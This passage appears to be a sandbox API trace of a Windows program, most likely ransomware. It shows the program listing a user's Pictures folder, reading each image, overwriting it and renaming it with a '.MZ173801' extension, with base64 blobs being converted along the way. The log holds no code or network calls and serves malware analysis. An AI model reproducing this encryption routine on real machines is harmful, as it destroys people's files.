EZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.772] GetCurrentThreadId () returned 0x9fc [0122.772] GetCurrentThreadId () returned 0x9fc [0122.772] GetCurrentThreadId () returned 0x9fc [0122.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.772] GetCurrentThreadId () returned 0x9fc [0122.773] GetCurrentThreadId () returned 0x9fc [0122.773] GetCurrentThreadId () returned 0x9fc [0122.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q_4QD7.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q_4qd7.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.773] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.773] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.773] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x105ff [0122.773] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.773] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x105ff, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x105ff, lpOverlapped=0x0) returned 1 [0122.775] CloseHandle (hObject=0x288) returned 1 [0122.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q_4QD7.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q_4qd7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.778] WriteFile (in: hFile=0x288, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x105ff, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f99c*=0x105ff, lpOverlapped=0x0) returned 1 [0122.780] CloseHandle (hObject=0x288) returned 1 [0122.782] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q_4QD7.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q_4qd7.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q_4QD7.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q_4qd7.bmp.mz173801")) returned 1 [0122.782] GetCurrentThreadId () returned 0x9fc [0122.782] GetCurrentThreadId () returned 0x9fc [0122.783] GetCurrentThreadId () returned 0x9fc [0122.783] GetCurrentThreadId () returned 0x9fc [0122.783] GetCurrentThreadId () returned 0x9fc [0122.783] GetCurrentThreadId () returned 0x9fc [0122.783] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ceb10, ftCreationTime.dwHighDateTime=0x1d5ddc4, ftLastAccessTime.dwLowDateTime=0x2acc0350, ftLastAccessTime.dwHighDateTime=0x1d5d8d3, ftLastWriteTime.dwLowDateTime=0x2acc0350, ftLastWriteTime.dwHighDateTime=0x1d5d8d3, nFileSizeHigh=0x0, nFileSizeLow=0x105ff, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="Q_4QD7.bmp", cAlternateFileName="")) returned 0 [0122.783] GetLastError () returned 0x12 [0122.783] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0122.783] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9a112c40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9a112c40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0122.783] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0122.783] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.783] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9a112c40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9a112c40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0122.783] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.783] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.783] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7077b640, ftCreationTime.dwHighDateTime=0x1d5dfa1, ftLastAccessTime.dwLowDateTime=0x95fdb400, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99fbbfe0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x16aab, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="4WaQPnQL8V4OHzH6IhlG.bmp.MZ173801", cAlternateFileName="4WAQPN~1.MZ1")) returned 1 [0122.783] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.783] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.783] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b07090, ftCreationTime.dwHighDateTime=0x1d5dcbe, ftLastAccessTime.dwLowDateTime=0x66910360, ftLastAccessTime.dwHighDateTime=0x1d5e641, ftLastWriteTime.dwLowDateTime=0x66910360, ftLastWriteTime.dwHighDateTime=0x1d5e641, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="6sxGhE_", cAlternateFileName="")) returned 1 [0122.783] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.783] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.783] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b07090, ftCreationTime.dwHighDateTime=0x1d5dcbe, ftLastAccessTime.dwLowDateTime=0x66910360, ftLastAccessTime.dwHighDateTime=0x1d5e641, ftLastWriteTime.dwLowDateTime=0x66910360, ftLastWriteTime.dwHighDateTime=0x1d5e641, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0122.784] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b07090, ftCreationTime.dwHighDateTime=0x1d5dcbe, ftLastAccessTime.dwLowDateTime=0x66910360, ftLastAccessTime.dwHighDateTime=0x1d5e641, ftLastWriteTime.dwLowDateTime=0x66910360, ftLastWriteTime.dwHighDateTime=0x1d5e641, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="..", cAlternateFileName="")) returned 1 [0122.784] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffa8a40, ftCreationTime.dwHighDateTime=0x1d5e621, ftLastAccessTime.dwLowDateTime=0x636c9620, ftLastAccessTime.dwHighDateTime=0x1d5e576, ftLastWriteTime.dwLowDateTime=0x636c9620, ftLastWriteTime.dwHighDateTime=0x1d5e576, nFileSizeHigh=0x0, nFileSizeLow=0x13af9, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="HoMGKUXklaWv Dlr.gif", cAlternateFileName="HOMGKU~1.GIF")) returned 1 [0122.784] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0122.784] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\HoMGKUXklaWv Dlr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\homgkuxklawv dlr.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffa8a40, ftCreationTime.dwHighDateTime=0x1d5e621, ftLastAccessTime.dwLowDateTime=0x636c9620, ftLastAccessTime.dwHighDateTime=0x1d5e576, ftLastWriteTime.dwLowDateTime=0x636c9620, ftLastWriteTime.dwHighDateTime=0x1d5e576, nFileSizeHigh=0x0, nFileSizeLow=0x13af9)) returned 1 [0122.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.789] GetCurrentThreadId () returned 0x9fc [0122.789] GetCurrentThreadId () returned 0x9fc [0122.789] GetCurrentThreadId () returned 0x9fc [0122.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.790] GetCurrentThreadId () returned 0x9fc [0122.790] GetCurrentThreadId () returned 0x9fc [0122.790] GetCurrentThreadId () returned 0x9fc [0122.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\HoMGKUXklaWv Dlr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\homgkuxklawv dlr.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.790] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.790] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.791] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x13af9 [0122.791] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, 